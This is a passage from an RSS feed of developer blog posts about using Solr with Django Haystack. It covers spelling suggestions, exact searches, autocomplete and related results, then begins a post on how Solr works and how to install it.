style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; SearchQuerySet()&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;auto_query(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;&amp;lt;mla ecsrito&amp;gt;&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;query&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;spelling_suggestion() &lt;span style=&#34;color:#78787e&#34;&gt;# u&amp;#39;mal escrito&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This allows us to correct small errors in the search, just as if we were using &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/trigrams-and-advanced-searches-with-django-and-postgres/&#34;&gt;trigrams in Postgres and Django&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;Activating this search took me a lot of work, it seems that it is not activated by default and that you have to visit the url with &lt;em&gt;&amp;amp;spellcheck.reload=true&lt;/em&gt; to generate the proper index, but who knows, maybe in newer versions it won&amp;rsquo;t be necessary.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;http://127.0.0.1:8983/solr/#/&amp;lt;instancia&amp;gt;/query?q&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;text:&amp;lt;termino&amp;gt;&amp;amp;q.op&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;OR&amp;amp;&lt;span style=&#34;color:#ff5c57&#34;&gt;spellcheck&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;true&amp;amp;spellcheck.q&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&amp;lt;termino&amp;gt;&amp;amp;spellcheck.reload&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;true&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;exclusive-and-exact-searches-with-solr&#34;&gt;Exclusive and exact searches with Solr&lt;/h2&gt;&#xA;&lt;p&gt;Solr allows us to perform advanced searches using the &lt;em&gt;auto_query&lt;/em&gt; method, which will allow a search syntax similar to that offered by google and other popular search engines.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use a hyphen (&amp;quot;-&amp;quot;) to exclude results that include those terms.&lt;/li&gt;&#xA;&lt;li&gt;Use double quotation marks (&amp;quot;&amp;quot;) to establish the correct order of words&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;query &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; SearchQuerySet()&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;auto_query(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;&amp;lt;termino&amp;gt; -&amp;lt;excluye&amp;gt;&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;otra_query &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; SearchQuerySet()&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;auto_query(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;&amp;#34;&amp;lt;orden exacto&amp;gt;&amp;#34; -&amp;lt;excluye&amp;gt;&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;autocomplete-with-solr&#34;&gt;Autocomplete with Solr&lt;/h2&gt;&#xA;&lt;p&gt;We can also perform an auto-completion of our search term, so that it will give us some valid suggestions.&lt;/p&gt;&#xA;&lt;p&gt;For that we first need to create a new field in our class that serves as a search index.&lt;/p&gt;&#xA;&lt;p&gt;We use any name and generally you will be using a field of type &lt;em&gt;EdgeNgramField&lt;/em&gt;, in the same way, we declare the field of our model to which it will make reference, in this case name. The other option is an &lt;em&gt;NgramField&lt;/em&gt; field but this is usually used for Asian languages.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;VideogameIndex&lt;/span&gt;(indexes&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;SearchIndex, indexes&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Indexable):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    name_autocomplete &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; indexes&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;EdgeNgramField(model_attr&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;name&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now in search&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;SearchquerySet()&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;autocomplete(name_autocomplete&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;incompl&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Devolverá resultados para: &amp;#39;incompleto&amp;#39;, &amp;#39;incompletitud&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;related-or-similar-results&#34;&gt;Related or similar results&lt;/h2&gt;&#xA;&lt;p&gt;Sometimes we want to get more of the same item, this is ideal for product recommendations in online stores. For this there is the &lt;em&gt;more_like_this&lt;/em&gt; method, to which we pass an instance of a Django model and it will return similar objects.&lt;/p&gt;&#xA;&lt;p&gt;But to make it work, we will first add the handler to our &lt;em&gt;solrconfig.xml&lt;/em&gt; file in our solr core configuration.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-xml&#34; data-lang=&#34;xml&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;requestHandler&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/mlt&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;class=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;solr.MoreLikeThisHandler&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;lst&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;defaults&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;str&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;mlt.mintf&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;1&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/str&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;str&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;mlt.mindf&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;1&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/str&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;str&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;mlt.minwl&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;3&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/str&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;str&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;mlt.maxwl&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;15&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/str&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;str&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;mlt.maxqt&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;20&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/str&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;str&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;mlt.match.include&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;false&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/str&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/lst&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/requestHandler&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;It doesn&amp;rsquo;t matter how you get the instance, or what it is, the important thing is that you get a single instance and pass it as a parameter to the &lt;em&gt;more_like_this&lt;/em&gt; method.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;instance &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Videogame&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get(name__icontains&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;&amp;lt;algo&amp;gt;&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# otro ejemplo: &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# instance = Videogame.objects.get(pk=5)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;related &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; SearchQuerySet()&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;more_like_this(instance)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This was just a summary of some of the most useful functions, for a complete list check the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://django-haystack.readthedocs.io/en/master/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;django haystack documentation&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Solr, together with Lucene, is an outstanding search engine that allows you to perform searches with advanced features. In this post I bring you a summary of some of the most interesting features of Solr and Django Haystack.&lt;/p&gt;&#xA;&lt;p&gt;I assume you already have a &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/searches-with-solr-with-django-haystack/&#34;&gt;configured django app with Solr&lt;/a&gt;&#xA;, in case you don&amp;rsquo;t, check my previous post.&lt;/p&gt;&#xA;&lt;h2 id=&#34;behavior-of-default-and-and-or-searches&#34;&gt;Behavior of default AND and OR searches&lt;/h2&gt;&#xA;&lt;p&gt;Haystack allows us to define a default behavior for all searches, either by joining terms with AND or OR operators. The default value is AND but you can modify it in the configuration file.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>How to implement Solr for searches or queries in Django?</title>
      <link>https://coffeebytes.dev/en/django/searches-with-solr-with-django-haystack/</link>
      <pubDate>Thu, 26 May 2022 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/django/searches-with-solr-with-django-haystack/</guid>
      
      <category>django</category>
      
      <category>linux</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Previously I explained you how to implement &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/full-text-search-and-searches-with-django-and-postgres/&#34;&gt;full text search in Django&lt;/a&gt;&#xA; and &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/trigrams-and-advanced-searches-with-django-and-postgres/&#34;&gt;trigrams-and-search-rank&lt;/a&gt;&#xA; using Postgres. Solr comes to offer us something better, a robust, stable and feature-rich search engine, ready to use, in exchange for a little more complexity, more dependencies and having to include Java (yes, Java) in our project.&lt;/p&gt;&#xA;&lt;h2 id=&#34;how-does-solr-work&#34;&gt;How does Solr work?&lt;/h2&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Internally Solr uses Lucene, which is the search engine that is in charge of generating an index to make the queries and all the options related to the searches, Solr adds some extra functions and gives us a friendly interface to work with. From now on I will refer to the union of Lucene and Solr only as Solr.&lt;/p&gt;&#xA;&lt;p&gt;Simplifying to the extreme, Solr receives the content of our database (or csv file, pdf, json, xml, etc.) and, using a template or schema (managed schema), generates an inverted index with the information.&lt;/p&gt;&#xA;&lt;p&gt;Subsequently, when Solr receives a query, it will query the generated index, sort the results according to their relevance and return them.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/searches-with-solr-with-django-haystack/images/django-haystack-core-schema.webp&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/searches-with-solr-with-django-haystack/images/django-haystack-core-schema.webp&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Basic operation of Solr and Django haystack&#34; width=&#34;1200&#34; height=&#34;630&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;inverted-index&#34;&gt;Inverted index&lt;/h3&gt;&#xA;&lt;p&gt;Solr works with an inverted index. It is quite similar to the index that appears in the back of technical books, in which each topic of the book points to a page; in the indexing of our information tokens are generated and these are related to the documents that contain them.&lt;/p&gt;&#xA;&lt;table&gt;&#xA;  &lt;thead&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;th&gt;Token&lt;/th&gt;&#xA;          &lt;th&gt;Documents&lt;/th&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/thead&gt;&#xA;  &lt;tbody&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;Python&lt;/td&gt;&#xA;          &lt;td&gt;1,2&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;Functional&lt;/td&gt;&#xA;          &lt;td&gt;5,6&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;Rust&lt;/td&gt;&#xA;          &lt;td&gt;3&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;advantages-and-disadvantages-of-solr&#34;&gt;Advantages and disadvantages of Solr&lt;/h2&gt;&#xA;&lt;h3 id=&#34;advantages-of-solr&#34;&gt;Advantages of Solr&lt;/h3&gt;&#xA;&lt;p&gt;Solr has many &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/autocomplete-suggestions-and-related-content-solr-and-django/&#34;&gt;advanced features, such as autocomplete, suggestions, search by field and others&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Solr&amp;rsquo;s inverted index allows searching through millions of records in milliseconds.&lt;/li&gt;&#xA;&lt;li&gt;Solr allows you to generate search suggestions for misspellings.&lt;/li&gt;&#xA;&lt;li&gt;Returns auto-completion suggestions.&lt;/li&gt;&#xA;&lt;li&gt;Able to perform geospatial searches.&lt;/li&gt;&#xA;&lt;li&gt;Administration panel with monitoring tools.&lt;/li&gt;&#xA;&lt;li&gt;Advanced analysis tools.&lt;/li&gt;&#xA;&lt;li&gt;Support for multiple cores or instances.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h3 id=&#34;disadvantages-of-solr&#34;&gt;Disadvantages of Solr&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Very complex configuration.&lt;/li&gt;&#xA;&lt;li&gt;Configuration parameters change frequently between versions.&lt;/li&gt;&#xA;&lt;li&gt;It is necessary to keep the index updated after changes in our data.&lt;/li&gt;&#xA;&lt;li&gt;Requires Java.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;solr-installation-and-configuration&#34;&gt;Solr installation and configuration&lt;/h2&gt;&#xA;&lt;p&gt;To install it we need to download the appropriate version from the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://solr.apache.org/downloads.html&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Solr download page&lt;/a&gt;&#xA;. For this entry I will use the following dependencies:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Solr: version 8.9.0&lt;/li&gt;&#xA;&lt;li&gt;Django: version 4.0.4&lt;/li&gt;&#xA;&lt;li&gt;Haystack: version 3.2.1&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wget https://archive.apache.org/dist/lucene/solr/8.9.0/solr-8.9.0.zip&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;unzip solr-8.9.0.zip&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;cd&lt;/span&gt; solr-8.9.0/bin&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    